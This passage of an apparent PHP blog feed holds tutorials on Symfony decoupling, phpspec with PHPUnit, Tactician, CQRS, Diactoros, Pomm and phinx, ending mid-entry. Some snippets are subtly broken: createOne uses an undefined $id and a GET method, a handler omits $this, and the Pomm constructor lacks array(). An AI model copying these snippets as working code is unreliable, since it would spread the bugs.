<p>Now we can configure the service:</p>

<pre><code class="php"># app/config/services/quote.yml

services:
    app.submit_new_quote_handler:
        class: Acme\Fortune\Quote\SubmitNewQuoteHandler
        arguments:
            - "@app.save_new_quote"
            - "@app.unique_identifier_generator"
</code></pre>

<p>Finally can run the tests one last time:</p>

<pre><code>./bin/test.sh
</code></pre>

<p>Allmost green!</p>

<p>They fail because <code>app.save_new_quote</code> and <code>app.unique_identifier_generator</code> don't
exist yet. They will be the topic of another article ;) .</p>

<h2 id="conclusion">Conclusion</h2>

<p>By restricting frameworks to their entry points (Controllers, Commands, etc) and
using the Command Bus to define our project entry points (domain boundaries) we
are able to decouple from the framework, allowing us to restrict the impact of BC breaks.</p>

<p>Of course, all projects are different and this solution might not be possible everywhere.
RAD development is a robust solution for web agencies, especially if they are chosen
to bootstrap a project as fast as possible and then need to pass the project over
to their customer after a short period.</p>

<p>On the other hand some companies are creating projects they will have to maintain
for decades and those are also in need of delivering a first version early.
Decoupling from the framework isn't something that slows down development, and there
are ways to still release early (e.g. define Minimum Valuable Product and deliver
small features iterations by iterations).</p>

<blockquote>
  <p><strong>Note</strong>: There are a couple of bundles that provides Symfony with a Command Bus, among them:</p>
  
  <ul>
  <li><a href="/2015/09/09/tactician.html">Tactician</a></li>
  <li><a href="/2015/08/04/simple-bus.html">SimpleBus</a></li>
  </ul>
</blockquote>

<p>If you're interrested on the subject, here's some resources:</p>

<ul>
<li>The framework as an implementation detail
(<a href="http://www.slideshare.net/marcello.duarte/the-framework-as-an-implementation-detail">slides</a>
and <a href="https://www.youtube.com/watch?v=0L_9NutiJlc">video</a>),
by <a href="http://marcelloduarte.net/">Marcello Duarte</a>
and <a href="http://everzet.com/">Konstantin Kudryashov</a></li>
<li><a href="https://blog.8thlight.com/uncle-bob/2014/05/11/FrameworkBound.html">Framework bound</a>,
by <a href="https://sites.google.com/site/unclebobconsultingllc/">Robert Cecil Martin</a></li>
<li><a href="http://kristopherwilson.com/2013/11/27/decoupling-the-framework/">Decoupling the Framework</a>,
by <a href="https://twitter.com/mrkrstphr">Kristopher Wilson</a></li>
</ul>

<blockquote>
  <p><strong>Reference</strong>: <a class="button button-reference" href="/2015/08/03/phpspec.html">see the phpspec reference article</a></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[PHPUnit with phpspec]]></title>
            <link href="/2015/09/23/phpunit-with-phpspec.html"/>
            <updated>2015-09-23T00:00:00+01:00</updated>
            <id>/2015/09/23/phpunit-with-phpspec.html</id>
            <content type="html"><![CDATA[<p><a href="https://phpunit.de/">PHPUnit</a> is a port of <a href="http://junit.org/">jUnit</a>, its name
might be deceptive: it allows you to write any type of tests (unit, but also functional,
system, integration, end to end, acceptance, etc).</p>

<p><a href="http://www.phpspec.net">phpspec</a> was at first a port of <a href="http://rspec.info/">rspec</a>,
it can be considered as a unit test framework that enforces practices it considers best.</p>

<blockquote>
  <p><strong>Note</strong>: <a href="/2015/08/03/phpspec.html">read more about phpspec</a>.</p>
</blockquote>

<p>In this article, we'll see how to use both tools together in a same project.</p>

<h2 id="fortune%3A-our-example">Fortune: our example</h2>

<p>We're going to build part of a <a href="https://en.wikipedia.org/wiki/Fortune_%28Unix%29">fortune</a>
application for our example, more precisely we're going to build a CLI allowing us to save quotes.</p>

<p>To do so, we'll bootstrap a symfony application using the <a href="https://github.com/gnugat/symfony-empty-edition">Empty Edition</a>:</p>

<pre><code>composer create-project gnugat/symfony-empty-edition fortune
cd fortune
</code></pre>

<p>We'll need to install our test frameworks:</p>

<pre><code>composer require --dev phpunit/phpunit
composer require --dev phpspec/phpspec
</code></pre>

<p>Finally we'll configure PHPUnit:</p>

<pre><code class="xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;

&lt;!-- phpunit.xml.dist --&gt;
&lt;!-- http://phpunit.de/manual/current/en/appendixes.configuration.html --&gt;
&lt;phpunit backupGlobals="false" colors="true" syntaxCheck="false" bootstrap="app/bootstrap.php"&gt;
    &lt;testsuites&gt;
        &lt;testsuite name="System Tests"&gt;
            &lt;directory&gt;tests&lt;/directory&gt;
        &lt;/testsuite&gt;
    &lt;/testsuites&gt;
&lt;/phpunit&gt;
</code></pre>

<h2 id="the-command">The command</h2>

<p>Our first step will be to write a <strong>system test</strong> describing the command:</p>

<pre><code class="php">&lt;?php
// tests/Command/SaveQuoteCommandTest.php

namespace AppBundle\Tests\Command;

use AppKernel;
use PHPUnit_Framework_TestCase;
use Symfony\Bundle\FrameworkBundle\Console\Application;
use Symfony\Component\Console\Tester\ApplicationTester;

class SaveQuoteCommandTest extends PHPUnit_Framework_TestCase
{
    const EXIT_SUCCESS = 0;

    private $app;

    protected function setUp()
    {
        $kernel = new AppKernel('test', false);
        $application = new Application($kernel);
        $application-&gt;setAutoExit(false);
        $this-&gt;app = new ApplicationTester($application);
    }

    /**
     * @test
     */
    public function it_saves_a_new_quote()
    {
        $exitCode = $this-&gt;app-&gt;run(array(
            'quote:save',
            'quote' =&gt; 'Nobody expects the spanish inquisition',
        ));

        self::assertSame(self::EXIT_SUCCESS, $exitCode, $this-&gt;app-&gt;getDisplay());
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Testing only the exit code is called "Smoke Testing" and is a very
  efficient way to check if the application is broken.
  Testing the output would be tedious and would make our test fragile as it might change often.</p>
</blockquote>

<p>Let's run it:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>The tests fails because the command doesn't exist. Let's fix that:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Command/SaveQuoteCommand.php

namespace AppBundle\Command;

use Symfony\Bundle\FrameworkBundle\Command\ContainerAwareCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Output\OutputInterface;

class SaveQuoteCommand extends ContainerAwareCommand
{
    protected function configure()
    {
        $this-&gt;setName('quote:save');
        $this-&gt;addArgument('quote', InputArgument::REQUIRED);
    }

    protected function execute(InputInterface $input, OutputInterface $output)
    {
        $output-&gt;writeln('');
        $output-&gt;writeln('// Saving quote');

        $this-&gt;getContainer()-&gt;get('app.save_new_quote')-&gt;save(
            $input-&gt;getArgument('quote')
        );

        $output-&gt;writeln('');
        $output-&gt;writeln(' [OK] Quote saved');
        $output-&gt;writeln('');
    }
}
</code></pre>

<p>Then run the test again:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>It now fails for a different reason: the service used doesn't exist.</p>

<h2 id="the-service">The service</h2>

<p>The second step is to write the unit test for the service. With phpspec we can
first bootstrap it:</p>

<pre><code>vendor/bin/phpspec describe 'AppBundle\Service\SaveNewQuote'
</code></pre>

<p>Then we need to edit it:</p>

<pre><code class="php">&lt;?php
// spec/AppBundle/Service/SaveNewQuoteSpec.php

namespace spec\AppBundle\Service;

use PhpSpec\ObjectBehavior;
use Symfony\Component\Filesystem\Filesystem;

class SaveNewQuoteSpec extends ObjectBehavior
{
    const FILENAME = '/tmp/quotes.txt';
    const QUOTE = 'Nobody expects the spanish inquisition!';

    function let(Filesystem $filesystem)
    {
        $this-&gt;beConstructedWith($filesystem, self::FILENAME);
    }

    function it_saves_new_quote(Filesystem $filesystem)
    {
        $filesystem-&gt;dumpFile(self::FILENAME, self::QUOTE)-&gt;shouldBeCalled();

        $this-&gt;save(self::QUOTE);
    }
}
</code></pre>

<p>Time to run the suite:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>phpspec will detect that the tested class doesn't exist and will bootstrap it for us,
so we just have to edit it:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Service/SaveNewQuote.php

namespace AppBundle\Service;

use Symfony\Component\Filesystem\Filesystem;

class SaveNewQuote
{
    private $filesystem;
    private $filename;

    public function __construct(Filesystem $filesystem, $filename)
    {
        $this-&gt;filesystem = $filesystem;
        $this-&gt;filename = $filename;
    }

    public function save($quote)
    {
        $this-&gt;filesystem-&gt;dumpFile($this-&gt;filename, $quote);
    }
}
</code></pre>

<p>Again, we're going to run our unit test:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>It's finally green! Our final step will be to define our service in the Dependency Injection
Container:</p>

<pre><code># app/config/config.yml

imports:
    - { resource: parameters.yml }
    - { resource: importer.php }

framework:
    secret: "%secret%"

services:
    app.save_new_quote:
        class: AppBundle\Service\SaveNewQuote
        arguments:
            - "@filesystem"
            - "%kernel.root_dir%/cache/quotes"
</code></pre>

<p>To make sure everything is fine, let's clear the cache and run the test:</p>

<pre><code>rm -rf app/cache/*
vendor/bin/phpunit
</code></pre>

<p>It's <a href="https://www.youtube.com/watch?v=lFeLDc2CzOs">Super Green</a>!</p>

<h2 id="conclusion">Conclusion</h2>

<p>As we can see, PHPUnit and phpspec can work perfectly well together.</p>

<p>Of course we could write our unit test in a similar manner with PHPUnit:</p>

<pre><code>&lt;?php
// tests/Service/SaveNewQuoteTest.php

namespace AppBundle\Tests\Service;

use AppBundle\Service\SaveNewQuote;
use PHPUnit_Framework_TestCase;

class SaveNewQuoteTest extends PHPUnit_Framework_TestCase
{
    const FILENAME = '/tmp/quotes.txt';
    const QUOTE = 'Nobody expects the spanish inquisition!';

    private $filesystem;
    private $saveNewQuote;

    protected function setUp()
    {
        $this-&gt;filesystem = $this-&gt;prophesize('Symfony\Component\Filesystem\Filesystem');
        $this-&gt;saveNewQuote = new SaveNewQuote($this-&gt;filesystem-&gt;reveal(), self::FILENAME);
    }

    /**
     * @test
     * @group unit
     */
    public function it_saves_new_quote()
    {
        $this-&gt;filesystem-&gt;dumpFile(self::FILENAME, self::QUOTE)-&gt;shouldBeCalled();

        $this-&gt;saveNewQuote-&gt;save(self::QUOTE);
    }
}
</code></pre>

<p>And run it separately:</p>

<pre><code>vendor/bin/phpunit --group=unit
</code></pre>

<p>But then we would lose all the advantages of phpspec:</p>

<ul>
<li>it adds less overhead (this same test runs in ~20ms with phpspec, and ~80ms with PHPUnit)</li>
<li>it tells you when it thinks you're doing something wrong (typically by making it harder/impossible for you to do it)</li>
<li>it bootstraps things for you if you follow the TDD workflow (test first, then code)</li>
</ul>

<blockquote>
  <p><strong>Reference</strong>: <a class="button button-reference" href="/2015/08/03/phpspec.html">see the phpspec reference article</a></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Tactician]]></title>
            <link href="/2015/09/09/tactician.html"/>
            <updated>2015-09-09T00:00:00+01:00</updated>
            <id>/2015/09/09/tactician.html</id>
            <content type="html"><![CDATA[<p>Just like <a href="/2015/08/04/simple-bus.html">SimpleBus</a>,
<a href="https://tactician.thephpleague.com/">Tactician</a> is a lightweight library created by
<a href="http://rosstuck.com/">Ross Tuck</a> allowing you to use the Command Bus design pattern
in your applications.</p>

<blockquote>
  <p><strong>Note</strong>: Command Bus is often used to comply to [CQRS](/2015/08/25/cqrs.html, but not only.</p>
</blockquote>

<h2 id="usage-example">Usage example</h2>

<p>Here's how to install Tactician:</p>

<pre><code>composer require league/tactician:^0.6
</code></pre>

<p>Then we have to associate a Command to a CommandHandler:</p>

<pre><code class="php">&lt;?php

use League\Tactician\Setup\QuickStart;

require __DIR__.'/vendor/autoload.php';

$commandBus = QuickStart::create(array(
    'Vendor\Project\Member\RegisterMember' =&gt; new Vendor\Project\Member\RegisterMemberHandler(),
));
</code></pre>

<p>It provides many framework integrations, including one for <a href="http://symfony.com/">Symfony</a>:</p>

<pre><code>composer require league/tactician-bundle:^0.3
# Don't forget to register `League\Tactician\Bundle\TacticianBundle` in `AppKernel`
</code></pre>

<p>Then we just have to use the <code>tactician.commandBus</code> service. To register Command Handler, we
need to tag service definitions as follow:</p>

<pre><code>services:
    register_member_handler:
        class: Vendor\Project\Member\RegisterMemberHandler
        tags:
            - { name: tactician.handler, command: Vendor\Project\Member\RegisterMember }
</code></pre>

<p>Now that the configuration is settled, here's a usage example:</p>

<pre><code class="php">$username = isset($argv[1]) ? $argv[1] : null;
$commandBus-&gt;handle(new RegisterMember($username));
</code></pre>

<p>The command would look like this:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project\Member;

class RegisterMember
{
    private $username;

    public function __construct($username)
    {
        if (null === $username) {
            throw new \InvalidArgumentException('Missing required "username" parameter');
        }
        $this-&gt;username = $username;
    }

    public function getUsername()
    {
        return $this-&gt;username;
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Commands validate simple input logic (required parameters, parameter type, etc).</p>
</blockquote>

<p>The Command Handler could look like this:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project\Member;

class RegisterMemberHandler
{
    private $memberRepository;

    public function __construct(MemberRespository $memberRepository)
    {
        $this-&gt;memberRepository = $memberRepository;
    }

    public function handle(RegisterMember $registerMember)
    {
        $username = $registerMember-&gt;getUsername();
        if ($memberRepository-&gt;has($username)) {
            throw new \DomainException(sprintf('Given username "%s" already exists, and duplicates are not allowed', $username));
        }
        $memberRepository-&gt;register($registerMember);
    }
}
</code></pre>

<p>The Command Handler validates more complex logic (member username duplication, etc).</p>

<p>Here's a nice reference about command validation: <a href="http://verraes.net/2015/02/form-command-model-validation/">Form, Command, and Model Validation</a>.</p>

<h2 id="tips">Tips</h2>

<p>Here are some personal tips!</p>

<p>CommandBus is able to return the value of the executed CommandHandler.
While this isn't advised in asynchronous applications (think messaging queues, like RabbitMQ)
it can be useful in simple applications.</p>

<p>Because Commands also contain simple input validation you can write unit test for them,
but since they're mainly DTOs it might not be too important.</p>

<p>CommandHandlers on the other way are good candidates for unit tests.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Remember when people said that controllers shouldn't have any logic in it?
With the Command Bus pattern this becomes possible.
It also makes this kind of logic reusable and testable.</p>

<p>Tactician is a nice library for this: it doesn't get in our way and allows you to choose between
the "good" way or the "pragmatic" way (if you don't choose wisely, then shame on you).</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Command/Query Responsibility Segregation]]></title>
            <link href="/2015/08/25/cqrs.html"/>
            <updated>2015-08-25T00:00:00+01:00</updated>
            <id>/2015/08/25/cqrs.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: CQRS is about not mixing "read" and "write" logic. You can use patterns
  like a Repostiory / Search Engine and Command Bus to help you achieve this.</p>
</blockquote>

<p>The <a href="https://en.wikipedia.org/wiki/Single_responsibility_principle">Single Responsibility Principle</a>
(SRP) has many applications: we can find it in the <a href="https://en.wikipedia.org/wiki/Unix_philosophy">Unix philosophy</a>
("do one thing and do it well") and usually refactoring is all about identifying
responsibilities and extracting them in their own classes.</p>

<p><a href="http://martinfowler.com/bliki/CQRS.html">Command/Query Responsibility Segregation</a>
(CQRS) can be viewed as a part of it.</p>

<p>In this article, we'll explore the pros and cons of CQRS and we'll see some ways
to implement it.</p>

<h2 id="messages">Messages</h2>

<p>We usually communicate with our application by giving it an input which can be
viewed as a "message". Messages can be classified in 3 different types:</p>

<ul>
<li>Imperative: we want the application to do something (e.g. register a new member)</li>
<li>Interrogatory: we want to know the state of the application (e.g. the list of registered members)</li>
<li>Informative: we notify the application of an event (e.g. a member visited a page)</li>
</ul>

<blockquote>
  <p><strong>Note</strong>: For more information, have a look at <a href="http://verraes.net/2015/01/messaging-flavours/">Messaging Flavours</a>
  by <a href="https://twitter.com/mathiasverraes">Mathias Verraes</a>.</p>
</blockquote>

<p>The CQRS principle states that Imperative messages should not be mixed with
Interrogatory ones.</p>

<blockquote>
  <p><strong>Note</strong>: Here's an interresting article about
  <a href="http://verraes.net/2015/02/form-command-model-validation/">validating those messages</a>.</p>
</blockquote>

<h2 id="asynchronous-use-case">Asynchronous use case</h2>

<p>Let's take the <a href="https://en.wikipedia.org/wiki/A/B_testing">A/B testing</a> example:
we'd like to know which setting will attract more visits on a given page.
To do so when a user visits the page, we send a request to an API with some helpful information.</p>

<p>On receiving the request, the API can simply push a message to a Messaging Queue
(e.g. RabbitMQ). This request was an Informative message.</p>

<blockquote>
  <p><strong>Note</strong>: To learn more about RabbitMQ, have a look at <a href="https://www.sensiolabsblog.co.uk/blog/improve-the-performance-of-your-symfony-application-using-rabbitmq">this article</a>
  and <a href="http://www.slideshare.net/cakper/2014-0821-symfony-uk-meetup-scaling-symfony2-apps-with-rabbit-mq">those slides</a>.</p>
</blockquote>

<p>Eventually, the Messaging Queue will call a consumer and give it the message: now
the consumer must register the information somewhere. This message is an Imperative one.</p>

<p>Later on, we can display the statistic on a dashboard. This time, we're dealing
with an interrogatory message.</p>

<p>As we can see, the CQRS principle is applied here. It is really useful whith
asynchronous use cases.</p>

<h2 id="synchonous-use-case">Synchonous use case</h2>

<p>Another example would be member registration: a new member submits a registration
form. If it is valid, they're told to check their email: a confirmation token has
been sent to them.</p>

<p>Behind the scene, our application receives the request: it is an Imperative
message so we create a token and save the information somewhere. Once done the
application can send a "Member registered" event, which will trigger a listener
that will send the email.</p>

<blockquote>
  <p><strong>Note</strong>: the registration logic can be decoupled from the email logic: we can
  first have a service that registers members and when done sends a "Member registered"
  event. Then a listener could call our email service.</p>
</blockquote>

<p>Once again, we've applied the CQRS principle, but in a synchronous use case. If
later on our application gets successful, we'll might want to make those process
asynchronous and it will be easy to do so.</p>

<h2 id="imperative-messages-expecting-return-value">Imperative messages expecting return value</h2>

<p>Our final example will be about an API that allows scientists to report a new species.
They need to send a POST Request to the endpoint, which in turn will return a response
containing the created resource.</p>

<p>The issue here is that we're going to mix an Imperative message (report a new species)
and an Interrogatory message (get the newly reported species).</p>

<p>CQRS cannot be applied "fully" everywhere, but we can try the following compromises:</p>

<ul>
<li>our entry point can first handle the imperative message, and then handle the interrogatory one</li>
<li>our imperative message handler can return directly the result without extra "read" queries</li>
</ul>

<blockquote>
  <p><strong>Note</strong>: for the second solution, we need to create our own UUID, instead of
  relying on the database to generate the IDs.</p>
</blockquote>

<h2 id="handling-imperative-messages">Handling Imperative Messages</h2>

<p>The Command Bus pattern is really helpful to handle Imperative Messages.
It's composed of 3 objects:</p>

<ul>
<li>Command: a Data Transfer Object (DTO) with a meaningful name (e.g. ReportNewSpecies) that wraps the message parameters</li>
<li>CommandHandler: a service dedicated to a single Command, that encapsulates the logic</li>
<li>CommandBus: contains all CommandHandlers and calls the appropriate one for the given Command</li>
</ul>

<p>The Command would be constructed in an entry point (Controller, Command, EventListener),
with parameters extracted from the input (Request, Input, Event) and then given to
the CommandBus.</p>

<p>The CommandBus is usually a Middleware:</p>

<ul>
<li>we can have a simple CommandBus that calls the apprioriate command</li>
<li>we can have a CommandBus that wraps the simple one in a database transaction</li>
<li>we can have a CommandBus that wraps the transaction one in an exception handler</li>
<li>etc...</li>
</ul>

<blockquote>
  <p><strong>Note</strong>: To learn more about this pattern, have a look at the following articles:</p>
  
  <ul>
  <li><a href="http://shawnmc.cool/command-bus">CommandBus</a></li>
  <li><a href="http://www.reddit.com/r/PHP/comments/29a6qz/what_am_i_missing_with_this_whole_command_bus/">What am I missing with this whole command bus</a></li>
  <li>Command Bus series:
  
  <ul>
  <li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/a-wave-of-command-buses/">Command and CommandHandler</a></li>
  <li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/responsibilities-of-the-command-bus/">CommandBus</a></li>
  <li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/from-commands-to-events/">EventBus</a></li>
  <li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/some-questions-about-the-command-bus/">FAQ</a></li>
  <li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/collecting-events-and-the-events-aware-command-bus/">Event dispatching</a></li>
  </ul></li>
  </ul>
</blockquote>

<h2 id="handling-interrogatory-messages">Handling Interrogatory Messages</h2>

<p>There's actually many options to handle Interrogatory messages.</p>

<h3 id="repository">Repository</h3>

<p>The <a href="http://code.tutsplus.com/tutorials/the-repository-design-pattern--net-35804">Repository design pattern</a>
introduces a class that acts like a collection, but behind the scene relies
on a Gateway to actually retrieve data (could be from a file, a database, a remote endpoint etc)
and on a Factory to format the returned value.</p>

<p>Usually "find" methods are added to the repository with a name describing the expected
criterias.</p>

<blockquote>
  <p><strong>Note</strong>: Here's a list of nice articles about this parttern:</p>
  
  <ul>
  <li><a href="http://martinfowler.com/eaaCatalog/gateway.html">Gateway</a></li>
  <li><a href="http://martinfowler.com/articles/refactoring-external-service.html">Refactoring external service</a></li>
  <li><a href="http://mnapoli.fr/repository-interface/">Repository interface</a></li>
  <li><a href="http://mnapoli.fr/collection-interface-and-database-abstraction/">Collection interface and database abstraction</a></li>
  </ul>
</blockquote>

<h3 id="criteria">Criteria</h3>

<p>Sometimes the repositories will grow bigger and bigger. The alternative solution
would be to build a Criteria object and pass it to a service.</p>

<p>Here's some of these solutions:</p>

<ul>
<li><a href="http://dev.imagineeasy.com/post/44139111915/taiming-repository-classes-in-doctrine-with-the">Using the QueryBuilder</a></li>
<li><a href="http://www.whitewashing.de/2013/03/04/doctrine_repositories.html">build a Criteria and give it to the repository</a></li>
<li><a href="http://blog.kevingomez.fr/2015/02/07/on-taming-repository-classes-in-doctrine-among-other-things/">using the specification pattern</a></li>
<li><a href="http://blog.kevingomez.fr/2015/03/14/rulerz-specifications-and-symfony-are-in-a-boat/">RulerZ, a library using the specification pattern</a></li>
</ul>

<p>Personally I've been experimenting with a Proof Of Concept (POC): <a href="http://gnugat.github.io/search-engine/">SearchEngine</a>.
I still need more experimentations to start advising on this subject, so if you
want to share your experience you'd be welome to post a comment :) .</p>

<h2 id="conclusion">Conclusion</h2>

<p>CQRS helps you to decouple your code (from itself and from third party libraries)
even if, like every principles, it cannot be applied everywhere.</p>

<p>To help you apply it, you can use Command Bus and Repositories / SearchEngine.</p>

<blockquote>
  <p><strong>Note</strong>: Here's a list of interresting articles about CQRS:</p>
  
  <ul>
  <li><a href="https://speakerdeck.com/richardmiller/avoiding-the-mud">Avoiding the mud</a></li>
  <li><a href="https://medium.com/@benjamindulau/do-not-mistake-ddd-for-cqrs-yeah-but-where-to-start-5595b8e68a4d">Do not mistake DDD for CQRS, yeah, but where to start?</a></li>
  <li><a href="http://verraes.net/2014/05/functional-foundation-for-cqrs-event-sourcing/">functional foundation for CQRS Event Sourcing</a></li>
  <li><a href="http://www.udidahan.com/2009/12/09/clarified-cqrs/">clarified CQRS</a></li>
  <li><a href="http://martinfowler.com/bliki/CQRS.html">CQRS</a></li>
  </ul>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Diactoros (PSR-7)]]></title>
            <link href="/2015/08/07/diactoros-psr7.html"/>
            <updated>2015-08-07T00:00:00+01:00</updated>
            <id>/2015/08/07/diactoros-psr7.html</id>
            <content type="html"><![CDATA[<p><a href="https://github.com/zendframework/zend-diactoros">Zend Diactoros</a> is a lightweight
library providing implementations for <a href="http://www.php-fig.org/psr/psr-7/">PSR-7 interfaces</a>.</p>

<p>It can be installed using <a href="https://getcomposer.org/download/">Composer</a>:</p>

<pre><code>composer require zendframework/zend-diactoros:^1.0
</code></pre>

<h2 id="example">Example</h2>

<p>We'd like to retrieve data from remote endpoints, using our internal <code>RequestHandler</code>:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project;

use Psr\Http\Message\RequestInterface;

interface RequestHandler
{
    // @return \Psr\Http\Message\ResponseInterface
    public function handle(RequestInterface $request);
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: For the sake of our example we use this interface, but in your application
  you'd use an actual HTTP client (e.g. <a href="http://guzzle.readthedocs.org/en/latest/">Guzzle</a>).</p>
</blockquote>

<p><code>RequestHandler</code> expects a <code>Request</code> parameter, so we're going to build it:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project;

use Zend\Diactoros\Request;
use Zend\Diactoros\Stream;

class MemberGateway
{
    private $requestHandler;
    private $username;
    private $password;

    public function __construct(RequestHandler $requestHandler, $username, $password)
    {
        $this-&gt;requestHandler = $requestHandler;
        $this-&gt;username = $username;
        $this-&gt;password = $password;
    }

    public function findOne($id)
    {
        $request = new Request('http://example.com/members/'.$id, 'GET', 'php://memory', array(
            'Authorization' =&gt; 'Basic '.base64_encode($this-&gt;username.':'.$this-&gt;password),
        ));
        $item = json_decode($this-&gt;requestHandler-&gt;handle($request)-&gt;getBody()-&gt;__toString(), true);

        return array(
            'id' =&gt; $item['id'],
            'name' =&gt; $item['name'],
            'description' =&gt; $item['description'],
        );
    }

    public function createOne($name, $description)
    {
        $body = new Stream('php://memory', 'w');
        $body-&gt;write(json_encode(array(
            'name' =&gt; $name,
            'description' =&gt; $description,
        )));
        $request = new Request('http://example.com/members/'.$id, 'GET', $body, array(
            'Authorization' =&gt; 'Basic '.base64_encode($this-&gt;username.':'.$this-&gt;password),
        ));
        $item = json_decode($this-&gt;requestHandler-&gt;handle($request)-&gt;getBody()-&gt;__toString(), true);

        return array(
            'id' =&gt; $item['id'],
            'name' =&gt; $item['name'],
            'description' =&gt; $item['description'],
        );
    }
}
</code></pre>

<p>The body of <code>Request</code> and <code>Response</code> is wrapped in a <code>Stream</code> (as specified in PSR-7).</p>

<h2 id="tips">Tips</h2>

<p>If the <code>Request</code> body should be empty, simply pass <code>php://memory</code>.</p>

<p>If the <code>Response</code> has a body, we can convert the <code>Stream</code> into a string using <code>__toString</code>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Zend Diactoros is becoming the de facto PSR-7 implementation, for example it's
used in <a href="http://symfony.com/blog/psr-7-support-in-symfony-is-here">Symfony</a>.</p>

<p>You should give it a try!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Pomm Foundation]]></title>
            <link href="/2015/08/06/pomm-foundation.html"/>
            <updated>2015-08-06T00:00:00+01:00</updated>
            <id>/2015/08/06/pomm-foundation.html</id>
            <content type="html"><![CDATA[<p><a href="http://www.pomm-project.org/">Pomm</a> is an interresting alternative to Doctrine
(<a href="http://docs.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/introduction.html">DBAL</a>
or <a href="http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/tutorials/getting-started.html">ORM</a>), it specializes in one database vendor: <a href="http://www.postgresql.org/docs/9.4/static/intro-whatis.html">PostgreSQL</a>.</p>

<p>In this article we'll quickly have a look at <a href="https://github.com/pomm-project/Foundation#foundation">Pomm Foundation</a>.</p>

<h2 id="installation">Installation</h2>

<p>Pomm can be installed using <a href="https://getcomposer.org/download/">Composer</a>:</p>

<pre><code>composer require pomm-project/foundation:^2.0@rc
</code></pre>

<p>Then we need to create a <code>QueryManager</code>:</p>

<pre><code class="php">&lt;?php

require __DIR__.'/vendor/autoload.php';

$pomm = new PommProject\Foundation\Pomm(
    'database_name' =&gt; array(
        'dsn' =&gt; 'pgsql://database_user:database_pass@database_host:database_port/database_name',
        'class:session_builder' =&gt; '\PommProject\Foundation\SessionBuilder',
    ),
);

/**
 * @var PommProject\Foundation\QueryManager\QueryManagerInterface
 */
$queryManager = $pomm-&gt;getDefaultSession()-&gt;getQueryManager();
</code></pre>

<h2 id="usage">Usage</h2>

<p>The <code>QueryManager</code> allows us to send query to our database:</p>

<pre><code class="php">$items = $queryManager-&gt;query('SELECT * FROM item WHERE name = $1 AND description = $2', array(
    'Arthur Dent',
    'Nobody expects the Spanish Inquisition!',
));
</code></pre>

<blockquote>
  <p><strong>Note</strong>: <a href="https://twitter.com/mvrhov/status/573098943321653248">Named parameters are not supported</a>.</p>
</blockquote>

<p>The returned value is an iterator, each element is a row (an associative array):</p>

<pre><code class="php">foreach ($items as $item) {
    echo $item['description'];
}
</code></pre>

<p>If you'd rather get all elements as an array, you can use <code>iterator_to_array</code>:</p>

<pre><code class="php">$arrayItems = iterator_to_array($items);
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Behind the scene the result is stored in a <code>resource</code>, which is usually more efficient than a PHP array.
  The iterator allows to get the rows from the <code>resource</code> one by one, which can save memory.</p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>Pomm Foundation provides an efficient abstraction over <code>pg_*</code> functions.</p>

<p>In comparison Doctrine DBAL uses <code>PDO</code> and tries to abstract vendor features,
so if you're using PostgresSQL and don't need an ORM, you can give it a try!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[phinx]]></title>
            <link href="/2015/08/05/phinx.html"/>
            <updated>2015-08-05T00:00:00+01:00</updated>
            <id>/2015/08/05/phinx.html</id>
            <content type="html"><![CDATA[<p><a href="https://phinx.org/">phinx</a> is a lightweight migration library, completly decoupled
from any framework and libraries. In its most simple form, it allows you to write SQL
statements to upgrade and downgrade your schema, or insert / delete data.</p>

<h2 id="installation">Installation</h2>

<p>First of all, we need to install it using <a href="https://getcomposer.org/download/">Composer</a>:</p>

<pre><code>composer require robmorgan/phinx:^0.4
</code></pre>

<p>With this we get a phar that can be run:</p>

<pre><code>phinx
</code></pre>

<blockquote>
  <p><strong>Tip</strong>: make your vendor's binaries available by adding <code>vendor/bin</code> to your <code>$PATH</code>.
  <code>export PATH="vendor/bin:$PATH"</code>.</p>
</blockquote>

<p>Then we need to configure the settings:</p>

<pre><code class="php">&lt;?php
// File: phinx.php

$parameters = \Symfony\Component\Yaml\Yaml::parse(file_get_contents(__DIR__.'/app/config/parameters.yml'));

return array(
    'paths' =&gt; array(
        'migrations' =&gt; __DIR__.'/migrations'
    ),
    'environments' =&gt; array(
        'default_migration_table' =&gt; 'migration',
        'default_database' =&gt; 'prod',
        'prod' =&gt; array(
            'adapter' =&gt; 'pgsql', // Could also be "mysql", "sqlite" or "sqlsrv"
            'host' =&gt; $parameters['parameters']['database_host'],
            'name' =&gt; $parameters['parameters']['database_name'],
            'user' =&gt; $parameters['parameters']['database_user'],
            'pass' =&gt; $parameters['parameters']['database_pass'],
            'port' =&gt; $parameters['parameters']['database_port'],
            'charset' =&gt; 'utf8',
        ),
        'test' =&gt; array(
